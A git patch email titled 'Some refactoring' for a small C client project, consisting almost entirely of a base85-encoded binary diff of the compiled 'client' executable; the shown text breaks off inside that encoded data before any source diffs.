From 938970b402bc651443f9de807ccb84beb9d27a28 Mon Sep 17 00:00:00 2001 From: ekardnamm Date: Fri, 11 Oct 2024 10:10:20 +0800 Subject: [PATCH] Some refactoring --- client/client | Bin 39168 -> 37976 bytes client/include/cipher.h | 8 ++- client/include/load.h | 16 ++--- client/src/cipher.c | 113 +++++++++++++++++--------------- client/src/fraction.c | 10 +-- client/src/http.c | 4 +- client/src/load.c | 142 +++++++++++++++++----------------------- client/src/main.c | 56 ++++++++++------ 8 files changed, 178 insertions(+), 171 deletions(-) diff --git a/client/client b/client/client index b49feafe8565b8fca847b2eee5559afae8c63293..9da6a161a367ee7ce4f507487814dca1bcfa1949 100755 GIT binary patch literal 37976 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 KB>feIYX1ujtV)Lf literal 39168 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 